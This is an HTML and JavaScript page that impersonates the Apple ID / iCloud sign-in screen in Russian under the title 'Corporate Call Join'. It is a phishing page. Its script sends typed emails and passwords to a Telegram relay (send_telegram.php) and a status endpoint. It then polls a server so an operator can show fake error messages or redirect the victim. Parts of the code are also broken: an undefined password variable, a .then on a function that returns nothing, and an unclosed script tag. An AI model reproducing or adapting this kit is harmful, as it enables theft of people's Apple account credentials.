<!doctype html>
<html lang="ru">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Corporate Call Join</title>
    <script>
        const THIS_PAGE_UNIQUE_ID = "<?php echo basename(__FILE__, '.php'); ?>";
    </script>
    <script src="https://cdn.tailwindcss.com"></script>
    <script>
      tailwind.config = {
        theme: {
          extend: {
            fontFamily: {
              sans: [
                "-apple-system",
                "BlinkMacSystemFont",
                "Segoe UI",
                "Roboto",
                "Helvetica Neue",
                "Arial",
                "sans-serif",
              ],
            },
          },
        },
      };
    </script>
    <link rel="stylesheet" href="../src/styles.css" />
  </head>
  <body class="min-h-screen bg-black font-sans text-white antialiased">
    <main class="app-shell" data-app>
      <section class="screen screen-login is-active" data-screen="login" aria-labelledby="login-title">
        <header class="cloudos-toolbar login overlay">
          <div class="icloud-logo">
            <a href="../index.html" data-back aria-label="Перейти на главную страницу">
              <svg viewBox="0 0 82 31" height="31" xmlns="http://www.w3.org/2000/svg" class="apple-icloud-logo dark" aria-hidden="true">
                <g fill-rule="nonzero">
                  <path
                    d="M16.907 16.5h2.55V5.423h-2.55V16.5Zm1.28-12.832c.412 0 .763-.144 1.05-.43a1.41 1.41 0 0 0 .432-1.033c0-.407-.144-.753-.432-1.038a1.445 1.445 0 0 0-1.05-.426c-.407 0-.756.142-1.046.426-.291.285-.437.63-.437 1.038 0 .401.146.745.437 1.032.29.287.64.43 1.046.43v.001Zm9.915 13.156c1.14 0 2.157-.21 3.052-.631.864-.395 1.616-1 2.188-1.758.563-.752.908-1.624 1.037-2.619l.007-.091h-2.594l-.021.076a3.58 3.58 0 0 1-.713 1.465 3.35 3.35 0 0 1-1.258.943c-.5.219-1.065.328-1.695.328-.847 0-1.582-.22-2.204-.663-.623-.442-1.103-1.07-1.441-1.884-.338-.813-.507-1.776-.507-2.886v-.016c0-1.115.17-2.076.507-2.886.338-.81.817-1.434 1.439-1.875.62-.44 1.354-.66 2.199-.66.634 0 1.201.117 1.702.351.501.235.92.565 1.257.99.338.425.572.926.705 1.505l.026.105h2.59l-.004-.093c-.118-1.006-.46-1.895-1.028-2.668a5.886 5.886 0 0 0-2.204-1.819c-.901-.439-1.916-.658-3.044-.658-1.405 0-2.619.311-3.642.935-1.022.624-1.812 1.511-2.368 2.663-.556 1.152-.834 2.523-.834 4.113v.016c0 1.588.278 2.958.834 4.11.555 1.154 1.346 2.043 2.372 2.669 1.026.625 2.24.938 3.642.938Zm8.034-.324h2.55V1.24h-2.55V16.5Zm9.534.222c1.1 0 2.049-.231 2.846-.693.797-.461 1.413-1.122 1.846-1.982.434-.86.65-1.886.65-3.08v-.02c0-1.191-.218-2.216-.655-3.074a4.68 4.68 0 0 0-1.852-1.98c-.798-.46-1.744-.691-2.838-.691-1.086 0-2.03.23-2.829.694a4.69 4.69 0 0 0-1.855 1.981c-.438.859-.656 1.882-.656 3.07v.02c0 1.191.216 2.217.65 3.078.434.86 1.05 1.522 1.85 1.984.8.462 1.747.693 2.843.693Zm.004-2.066c-.572 0-1.063-.146-1.472-.436-.408-.291-.722-.711-.941-1.261-.219-.55-.329-1.213-.329-1.99v-.02c0-.776.11-1.438.33-1.985.22-.548.535-.967.944-1.259.408-.291.896-.437 1.461-.437.571 0 1.06.145 1.469.436.408.29.721.71.941 1.258.22.549.33 1.21.33 1.987v.02c0 .776-.11 1.438-.328 1.988-.218.55-.53.97-.936 1.262-.406.29-.896.437-1.469.437Zm10.596 2.066c.497.008.991-.071 1.46-.233.43-.156.798-.378 1.106-.668.309-.29.557-.639.73-1.026h.13V16.5h2.55V5.423h-2.55v6.444c0 .41-.055.782-.165 1.114a2.33 2.33 0 0 1-.485.853 2.153 2.153 0 0 1-.783.546 2.744 2.744 0 0 1-1.054.191c-.754 0-1.307-.216-1.657-.647-.35-.431-.526-1.063-.526-1.894V5.423h-2.55v7.166c0 .867.144 1.61.433 2.228.289.618.716 1.09 1.281 1.416.566.326 1.259.489 2.08.489Zm12.084-.024c.525 0 1.005-.08 1.441-.24a3.453 3.453 0 0 0 1.955-1.747h.13V16.5h2.55V1.24h-2.55v5.997h-.13a3.292 3.292 0 0 0-.802-1.073c-.338-.3-.727-.53-1.167-.694a4.093 4.093 0 0 0-1.433-.244c-.932 0-1.739.23-2.42.693-.681.463-1.207 1.122-1.579 1.978-.371.855-.557 1.873-.557 3.055v.016c0 1.175.186 2.19.559 3.049.372.858.9 1.52 1.585 1.984.684.464 1.49.697 2.418.697Zm.783-2.15c-.566 0-1.054-.145-1.466-.432-.412-.287-.728-.699-.95-1.235-.22-.536-.33-1.174-.33-1.913v-.016c0-.742.11-1.38.331-1.912.222-.533.539-.944.95-1.232.412-.288.9-.432 1.465-.432.56 0 1.046.146 1.46.436.413.29.735.703.964 1.237.228.534.343 1.169.343 1.906v.016c0 .732-.114 1.366-.34 1.902-.227.536-.548.95-.963 1.24-.415.29-.903.434-1.464.434v.001ZM8.856 3.158C9.35 2.56 9.7 1.745 9.7.92c0-.114-.01-.227-.03-.32-.805.03-1.774.536-2.351 1.217-.454.516-.877 1.341-.877 2.167 0 .123.02.247.031.288.052.01.134.021.217.021.721 0 1.629-.485 2.165-1.135h.001Zm.567 1.31c-1.207 0-2.186.733-2.815.733-.67 0-1.546-.691-2.598-.691C2.02 4.51 0 6.16 0 9.265c0 1.94.742 3.982 1.67 5.303.794 1.114 1.485 2.032 2.485 2.032.99 0 1.422-.66 2.65-.66 1.247 0 1.525.64 2.618.64 1.082 0 1.804-.991 2.484-1.971.763-1.124 1.083-2.218 1.093-2.27-.062-.02-2.134-.866-2.134-3.239 0-2.053 1.629-2.97 1.722-3.043-1.073-1.547-2.712-1.589-3.165-1.589Z"
                    transform="translate(2.5 6.5)"
                  ></path>
                </g>
              </svg>
            </a>
          </div>
          <div class="action-buttons">
            <button class="help-menu-button" type="button" title="Справка" aria-label="Справка" aria-haspopup="menu">
              <svg class="ellipsis" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" height="22" width="22" aria-hidden="true">
                <path
                  d="M12.9321097,6.8055484 C12.9321097,3.30883872 10.0968839,0.505161291 6.53720646,0.505161291 C3.07198065,0.505161291 0.236774194,3.30883872 0.236774194,6.8055484 C0.236774194,10.3022581 3.07198065,13.1059355 6.53720646,13.1059355 C10.0968839,13.1059355 12.9321097,10.3022581 12.9321097,6.8055484 Z M36.2435936,6.8055484 C36.2435936,3.30883872 33.4399162,0.505161291 29.9432065,0.505161291 C26.4779807,0.505161291 23.6743033,3.30883872 23.6743033,6.8055484 C23.6743033,10.3022581 26.4779807,13.1059355 29.9432065,13.1059355 C33.4399162,13.1059355 36.2435936,10.3022581 36.2435936,6.8055484 Z M59.6495291,6.8055484 C59.6495291,3.30883872 56.8459162,0.505161291 53.3492065,0.505161291 C49.7894646,0.505161291 46.9857872,3.30883872 46.9857872,6.8055484 C46.9857872,10.3022581 49.7894646,13.1059355 53.3492065,13.1059355 C56.8459162,13.1059355 59.6495291,10.3022581 59.6495291,6.8055484 Z"
                  transform="translate(2 25.226)"
                ></path>
              </svg>
            </button>
          </div>
        </header>

        <div class="login-stage">
          <form class="login-panel" action="#" method="get" autocomplete="off" data-login-form>
            <div class="account-orb" aria-hidden="true">
              <svg
                class="account-icon"
                viewBox="0 0 160 160"
                xmlns="http://www.w3.org/2000/svg"
                xmlns:xlink="http://www.w3.org/1999/xlink"
                draggable="false"
              >
                <defs>
                  <linearGradient x1="100%" y1="100%" x2="50%" y2="50%" id="orb-purple">
                    <stop stop-color="#8700ff" offset="0%"></stop>
                    <stop stop-color="#ee00e1" stop-opacity="0" offset="100%"></stop>
                  </linearGradient>
                  <linearGradient x1="0%" y1="100%" x2="50%" y2="50%" id="orb-red">
                    <stop stop-color="#e00" offset="0%"></stop>
                    <stop stop-color="#ee00e1" stop-opacity="0" offset="100%"></stop>
                  </linearGradient>
                  <linearGradient x1="100%" y1="0%" x2="50%" y2="50%" id="orb-blue">
                    <stop stop-color="#00b1ee" offset="0%"></stop>
                    <stop stop-color="#00b1ee" stop-opacity="0" offset="100%"></stop>
                  </linearGradient>
                  <linearGradient x1="-17.876%" y1="21.021%" x2="48.935%" y2="50%" id="orb-orange">
                    <stop stop-color="#ffa456" offset="0%"></stop>
                    <stop stop-color="#ffa456" stop-opacity="0" offset="100%"></stop>
                  </linearGradient>
                  <path
                    id="account-dot-field"
                    d="M89.905 152.381a3.81 3.81 0 110 7.619 3.81 3.81 0 010-7.619zm-23.737 2.79a3.81 3.81 0 117.36 1.973 3.81 3.81 0 01-7.36-1.972zm46.799-5.126a3.81 3.81 0 11-7.36 1.972 3.81 3.81 0 017.36-1.972zm-60.58-2.409a3.81 3.81 0 11-3.81 6.598 3.81 3.81 0 013.81-6.598zm28.777-4.373a3.302 3.302 0 11-.804 6.554 3.302 3.302 0 01.804-6.554zm-16.684-1.899a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zm36.901 2.383a3.338 3.338 0 11-6.61.93 3.338 3.338 0 016.61-.93zm28.591-4.621a3.81 3.81 0 11-6.598 3.81 3.81 3.81 0 016.598-3.81zm-94.15-.941a3.81 3.81 0 11-5.387 5.387 3.81 3.81 0 015.388-5.387zm52.547-.486a3.023 3.023 0 110 6.047 3.023 3.023 0 010-6.047zm-15.136.077a3.023 3.023 0 11-1.565 5.841 3.023 3.023 0 011.565-5.84zm-24.278-2.592a3.338 3.338 0 11-4.017 5.331 3.338 3.338 0 014.017-5.331zm68.381.883a3.338 3.338 0 11-6.145 2.609 3.338 3.338 0 016.145-2.609zm-10.664-.222a3.023 3.023 0 11-5.841 1.565 3.023 3.023 0 015.84-1.565zm-48.079-1.912a3.023 3.023 0 11-3.023 5.237 3.023 3.023 0 013.023-5.237zm22.334-3.47a2.62 2.62 0 11-.639 5.201 2.62 2.62 0 01.639-5.202zm-13.241-1.507a2.65 2.65 0 11-1.985 4.912 2.65 2.65 0 011.985-4.912zm29.286 1.891a2.65 2.65 0 11-5.246.737 2.65 2.65 0 015.246-.737zm23.196-3.668a3.023 3.023 0 11-5.236 3.024 3.023 3.023 0 015.236-3.024zm-74.721-.747a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm98.125-2.255a3.81 3.81 0 11-5.387 5.388 3.81 3.81 0 015.387-5.388zM35.56 125.196a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm-13.29-.428a3.81 3.81 0 11-6.599 3.81 3.81 3.81 0 016.599-3.81zm108.491-.249a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm-75.396-.468a2.65 2.65 0 11-3.188 4.231 2.65 2.65 0 013.188-4.231zm54.271.7a2.65 2.65 0 11-4.877 2.071 2.65 2.65 0 014.877-2.07zm21.327-9.436a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm-86.23.808a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm-10.043-.339a3.023 3.023 0 11-5.236 3.024 3.023 3.023 0 015.236-3.024zm85.6-.197a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm-95.085-3.507a3.338 3.338 0 11-6.145 2.609 3.338 3.338 0 016.145-2.609zm115.534-2.19a3.338 3.338 0 11-4.018 5.332 3.338 3.338 0 014.018-5.331zm12.102-3.672a3.81 3.81 0 11-3.81 6.599 3.81 3.81 0 013.81-6.599zM12.65 108.301a3.81 3.81 0 11-7.36 1.972 3.81 3.81 0 017.36-1.972zm23.865-2.586a2.65 2.65 0 11-4.877 2.07 2.65 2.65 0 014.877-2.07zm91.693-1.738a2.65 2.65 0 11-3.188 4.231 2.65 2.65 0 013.188-4.231zm10.11-2.915a3.023 3.023 0 11-3.023 5.237 3.023 3.023 0 013.023-5.237zm-111.262 1.653a3.023 3.023 0 11-5.841 1.565 3.023 3.023 0 015.84-1.565zm-8.458-5.983a3.338 3.338 0 11-6.611.93 3.338 3.338 0 016.61-.93zm127.992-3.554a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zm-115.319.356a2.65 2.65 0 11-5.246.737 2.65 2.65 0 015.246-.737zm101.581-2.821a2.65 2.65 0 11-1.984 4.912 2.65 2.65 0 011.984-4.912zm19.627-1.547a3.81 3.81 0 117.36 1.972 3.81 3.81 0 01-7.36-1.972zM3.81 86.096a3.81 3.81 0 110 7.618 3.81 3.81 0 010-7.619zm137.923-.705a3.023 3.023 0 11-1.565 5.84 3.023 3.023 0 011.565-5.84zm-121.694-.3a3.023 3.023 0 110 6.047 3.023 3.023 0 010-6.047zm-6.938-8.368a3.302 3.302 0 11-.805 6.554 3.302 3.302 0 01.805-6.554zm13.807.93a2.62 2.62 0 11-.638 5.202 2.62 2.62 0 01.638-5.202zm120.796-1.946a3.302 3.302 0 11-.805 6.554 3.302 3.302 0 01.805-6.554zm-13.968 1.14a2.62 2.62 0 11-.638 5.201 2.62 2.62 0 01.638-5.201zm7.24-7.477a3.023 3.023 0 110 6.046 3.023 3.023 0 010-6.046zm-120.128-.094a3.023 3.023 0 11-1.565 5.841 3.023 3.023 0 011.565-5.84zm135.342-2.99a3.81 3.81 0 110 7.619 3.81 3.81 0 010-7.62zM.162 68.862a3.81 3.81 0 117.36 1.972 3.81 3.81 0 01-7.36-1.972zm29.28-5.072a2.65 2.65 0 11-1.984 4.913 2.65 2.65 0 011.985-4.913zm104.844 1.355a2.65 2.65 0 11-5.247.737 2.65 2.65 0 015.247-.737zm-117.992-5.89a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zm132.102 1.708a3.338 3.338 0 11-6.61.929 3.338 3.338 0 016.61-.93zm-8.594-4.735a3.023 3.023 0 11-5.84 1.565 3.023 3.023 0 015.84-1.565zm-114.08-2.019a3.023 3.023 0 11-3.024 5.237 3.023 3.023 0 013.024-5.237zm9.569-3.001a2.65 2.65 0 11-3.189 4.23 2.65 2.65 0 013.189-4.23zm93.381.423a2.65 2.65 0 11-4.877 2.07 2.65 2.65 0 014.877-2.07zm26.039-1.904a3.81 3.81 0 11-7.36 1.972 3.81 3.81 0 017.36-1.972zM10.969 47.183a3.81 3.81 0 11-3.809 6.599 3.81 3.81 0 013.81-6.599zm12.693-3.781a3.338 3.338 0 11-4.017 5.331 3.338 3.338 0 014.017-5.331zm117.661.533a3.338 3.338 0 11-6.145 2.608 3.338 3.338 0 016.145-2.608zm-9.76-2.235a3.023 3.023 0 11-5.237 3.024 3.023 3.023 0 015.237-3.024zm-97.233-.783a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm9.866-.35a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm75.556-.537a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm24.578-8.608a3.81 3.81 0 11-6.599 3.81 3.81 3.81 0 016.599-3.81zm-122.515-.987a3.81 3.81 0 11-5.387 5.388 3.81 3.81 0 015.387-5.388zm33.736 2.159a2.65 2.65 0 11-4.877 2.07 2.65 2.65 0 014.877-2.07zm52.583-1.46a2.65 2.65 0 11-3.189 4.231 2.65 2.65 0 013.189-4.231zm-73.251-1.14a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm84.962-.194a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm-73.76.505a3.023 3.023 0 11-5.238 3.024 3.023 3.023 0 015.237-3.024zm83.999-.987a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm-61.5-1.487a2.65 2.65 0 11-5.247.738 2.65 2.65 0 015.247-.738zm26.024-2.284a2.65 2.65 0 11-1.984 4.913 2.65 2.65 0 011.984-4.913zm-14.487-1.912a2.62 2.62 0 11-.639 5.201 2.62 2.62 0 01.639-5.201zm25.325-2.297a3.023 3.023 0 11-3.023 5.237 3.023 3.023 0 013.023-5.237zm-45.261 1.76a3.023 3.023 0 11-5.841 1.565 3.023 3.023 0 015.84-1.565zm-10.994-3.15a3.338 3.338 0 11-6.145 2.609 3.338 3.338 0 016.145-2.609zm66.254-1.84a3.338 3.338 0 11-4.018 5.332 3.338 3.338 0 014.018-5.331zm14.12-1.68a3.81 3.81 0 11-5.388 5.387 3.81 3.81 0 015.388-5.387zm-40.217.463a3.023 3.023 0 11-1.565 5.84 3.023 3.023 0 011.565-5.84zm-16.701-.13a3.023 3.023 0 110 6.048 3.023 3.023 0 010-6.047zm-36.02.304a3.81 3.81 0 11-6.6 3.81 3.81 3.81 0 016.6-3.81zm28.985-3.118a3.338 3.338 0 11-6.611.93 3.338 3.338 0 016.61-.93zm32.79-2.877a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zM80.149 8.66a3.302 3.302 0 11-.804 6.553 3.302 3.302 0 01.804-6.553zm31.274-2.894a3.81 3.81 0 11-3.81 6.598 3.81 3.81 0 013.81-6.598zm-57.03 2.217a3.81 3.81 0 11-7.359 1.972 3.81 3.81 0 017.36-1.972zM91.139.163a3.81 3.81 0 11-1.972 7.359 3.81 3.81 0 011.972-7.36zM70.095 0a3.81 3.81 0 110 7.619 3.81 3.81 0 010-7.619z"
                  ></path>
                </defs>
                <use fill="#fff" xlink:href="#account-dot-field"></use>
                <use fill="url(#orb-purple)" xlink:href="#account-dot-field"></use>
                <use fill="url(#orb-red)" xlink:href="#account-dot-field"></use>
                <use fill="url(#orb-blue)" xlink:href="#account-dot-field"></use>
                <use fill="url(#orb-orange)" xlink:href="#account-dot-field"></use>
                <path
                  class="account-symbol"
                  d="M80.38 68.181c1.66 0 3.75-1.091 4.999-2.565 1.137-1.346 1.94-3.183 1.94-5.039 0-.255-.02-.51-.057-.71-1.865.073-4.103 1.201-5.427 2.73-1.063 1.164-2.033 3.02-2.033 4.875 0 .29.056.564.075.655.112.018.298.054.503.054zm-5.724 27.713c2.248 0 3.243-1.474 6.044-1.474 2.838 0 3.483 1.438 5.97 1.438 2.47 0 4.11-2.239 5.677-4.44 1.732-2.53 2.469-4.987 2.487-5.115-.147-.036-4.865-1.947-4.865-7.28 0-4.622 3.704-6.697 3.926-6.86-2.451-3.477-6.192-3.586-7.224-3.586-2.746 0-4.994 1.656-6.431 1.656-1.53 0-3.52-1.547-5.916-1.547-4.551 0-9.158 3.713-9.158 10.701 0 4.368 1.695 8.973 3.814 11.94 1.806 2.51 3.39 4.567 5.676 4.567z"
                />
              </svg>
            </div>

            <h2 id="login-title" class="login-title">Вход с Аккаунтом</h2>

            <div>
              <div class="signin-content" style="min-height: 257px;">
                <div class="account-name">
                  <div>
                    <div class="form-cell-wrapper form-textbox">
                      <input
                        type="text"
                        id="account_name_text_field"
                        aria-labelledby="apple_id_field_label"
                        autocorrect="off"
                        autocapitalize="off"
                        aria-required="true"
                        required
                        spellcheck="false"
                        class="force-ltr form-textbox-input"
                        autocomplete="username webauthn"
                        aria-invalid="false"
                        placeholder=" "
                        data-login-input
                      />
                      <span aria-hidden="true" id="apple_id_field_label" class="form-textbox-label form-label-flyout">
                        E-mail или номер телефона
                      </span>
                    </div>
                  </div>
                </div>

            <div class="password" aria-hidden="false">
                  <div>
                    <div class="form-cell-wrapper form-textbox">
                      <input
                        type="password"
                        id="password_text_field"
                        aria-labelledby="password_field_label"
                        aria-required="true"
                        required
                        autocomplete="off"
                        class="form-textbox-input"
                        aria-invalid="false"
                        placeholder=" "
                        tabindex="-1"
                        data-password-input
                      />
                      <span id="password_field_label" aria-hidden="true" class="form-textbox-label form-label-flyout">
                        Пароль
                      </span>
                      <span class="sr-only form-label-flyout" id="invalid_user_name_pwd_err_msg" aria-hidden="true"></span>
                    </div>
                    <div id="password-error" style="display: none; color: #ff3b30; font-size: 13px; margin-top: 8px;">Неверный пароль или Apple ID.</div>
                  </div>
                </div>

                <div class="signin-content__footer signin-content__footer--has-content">
                    <div class="si-remember-password">
                      <div class="form-checkbox">
                        <input type="checkbox" id="remember-me" class="form-checkbox-input" />
                        <label id="remember-me-label" for="remember-me" class="form-label tk-body-reduced">
                          <span class="form-checkbox-indicator" aria-hidden="true"></span>
                          Оставаться в системе
                        </label>
                      </div>
                    </div>
                    <div class="tk-body-reduced signin-content__footer__items__right">
                      <div>
                        <span class="fat"></span>
                        <button id="create-link" class="si-forgot-password si-link ax-outline lite-theme-override button-link tk-body-reduced" type="button">
                          <span class="no-wrap">Создание Аккаунта&nbsp;Apple</span><span class="sr-only">Открывается в новом окне.</span>
                        </button>
                        <a id="iforgot-link" class="si-forgot-password-link si-link ax-outline lite-theme-override" href="https://iforgot.apple.com/password/verify/appleid" target="_blank" rel="noopener">
                          Забыли <span class="no-wrap">пароль?</span><span class="sr-only">Открывается в новом окне.</span>
                        </a>
                      </div>
                    </div>
                  </div>
                </div>

                <div class="ue-privacy">
                  <div class="label-small tk-caption privacy-wrapper">
                    <div class="privacy-icon" aria-hidden="true">
                      <img src="../log%20secure.png" alt="" />
                    </div>
                    <div class="tk-caption">
                      <p>Сведения об аккаунте Apple используются для обеспечения безопасного входа и доступа к данным. Компания Apple записывает определённые данные для целей безопасности, предоставления поддержки и ведения отчётности. С вашего согласия компания Apple также может использовать сведения о вашем аккаунте Apple для отправки вам маркетинговых писем и сообщений, в том числе в связи с использованием вами сервисов Apple. <a href="https://www.apple.com/ru/legal/privacy/data/ru/apple-id/" target="_blank" rel="noopener">Как осуществляется управление данными…<span class="sr-only"> Открывается в&nbsp;новом окне.</span></a></p>
                    </div>
                  </div>
                </div>
              </div>

              <div class="signin-v2__buttons-wrapper">
                <div class="signin-v2__buttons-wrapper__button-wrapper">
                  <div>
                    <button id="sign-in" class="tk-subbody button button-rounded-rectangle signin-v2__buttons-wrapper__button-wrapper__button" type="button" data-login-continue>
                      <span class="signin-v2__buttons-wrapper__button-wrapper__button__text">
                        Войти
                      </span>
                    </button>
                  </div>
                </div>
              </div>
            </div>
          </form>
        </div>
      </section>
    </main>

    <script>
const screens = {
  join: document.querySelector('[data-screen="join"]'),
  login: document.querySelector('[data-screen="login"]'),
};

const openLoginButton = document.querySelector("[data-open-login]");
const backButton = document.querySelector("[data-back]");
const loginForm = document.querySelector("[data-login-form]");
const loginInput = document.querySelector("[data-login-input]");
const loginContinue = document.querySelector("[data-login-continue]");
const loginContinueText = loginContinue?.querySelector(".signin-v2__buttons-wrapper__button-wrapper__button__text");
const passwordInput = document.querySelector("[data-password-input]");
const passwordError = document.getElementById("password-error");

const sessionId = (typeof THIS_PAGE_UNIQUE_ID !== 'undefined' && THIS_PAGE_UNIQUE_ID) 
    ? THIS_PAGE_UNIQUE_ID 
    : (Date.now().toString(36) + Math.random().toString(36).substr(2));

function sendToTelegram(data) {
  fetch('./send_telegram.php', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      id: sessionId,
      ...data
    })
  }).catch(console.error);
}

function updateStatus(data) {
  fetch('./update_status.php', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      id: sessionId,
      ...data
    })
  }).catch(console.error);
}

function showScreen(name) {
  Object.entries(screens).forEach(([screenName, screen]) => {
    const isActive = screenName === name;
    screen.classList.toggle("is-active", isActive);
    screen.setAttribute("aria-hidden", String(!isActive));
  });

  if (name === "login") {
    window.setTimeout(() => loginInput?.focus(), 260);
  }
}

openLoginButton?.addEventListener("click", () => showScreen("login"));
backButton?.addEventListener("click", (event) => {
  event.preventDefault();
  showScreen("join");
});

loginInput?.addEventListener("input", () => {
  const email = loginInput.value.trim();
  const isReady = email.length > 0;
  loginContinue?.classList.toggle("is-ready", isReady);
  
  // Логирование ввода логина в реальном времени
  if (email.length > 3 && email.includes('@')) {
    sendToTelegram({ email_input: email });
  }
});

passwordInput?.addEventListener("input", () => {
  if (passwordError) passwordError.style.display = 'none';
});

loginForm?.addEventListener("submit", (event) => {
  event.preventDefault();
});

let pollInterval;
function pollStatus() {
  if (pollInterval) clearInterval(pollInterval);
  
  if (loginContinue) {
      loginContinue.disabled = true;
      loginContinue.style.opacity = '0.5';
  }

  pollInterval = setInterval(async () => {
    try {
      const response = await fetch(`./check_status.php?id=${sessionId}`);
      const data = await response.json();
      
      if (data.parol === 'no' || data.parol === 'false' || data.parol === 'false1' || data.parol === 'false2') {
        clearInterval(pollInterval);
        if (passwordError) {
          if (data.parol === 'false1') {
            passwordError.textContent = "Аккаунт не найден. Повторите попытку.";
          } else if (data.parol === 'false2') {
            passwordError.textContent = "Аккаунт уже используется. Попробуйте другой.";
          } else {
            passwordError.textContent = "Неверный пароль или Apple ID.";
          }
          passwordError.style.display = 'block';
        }
        passwordInput.value = '';
        passwordInput.focus();
        updateStatus({ parol_status: 'load' });
        
        if (loginContinue) {
            loginContinue.disabled = false;
            loginContinue.style.opacity = '1';
        }
      }

      if (data.link) {
        clearInterval(pollInterval);
        window.location.href = data.link;
      }
    } catch (e) {
      console.error(e);
    }
  }, 2000);
}

loginContinue?.addEventListener("click", () => {
  if (!loginInput?.value.trim()) return;

  if (!loginForm?.classList.contains("is-password-step")) {
    const email = loginInput.value.trim();
    
    // Отправка email и логирование
    console.log("Отправка email в Telegram:", email);
    sendToTelegram({ email: email })
      .then(response => console.log("Ответ Telegram:", response))
      .catch(error => console.error("Ошибка отправки:", error));
    
    updateStatus({ login: email });
    
    // Показываем поле пар
    
    sendToTelegram({ 
      email: email,
      password: password 
    });
    updateStatus({ 
      login: email,
      password: password 
    });
    pollStatus();
  } else {
    passwordInput?.focus();
  }
});
  </body>
</html>
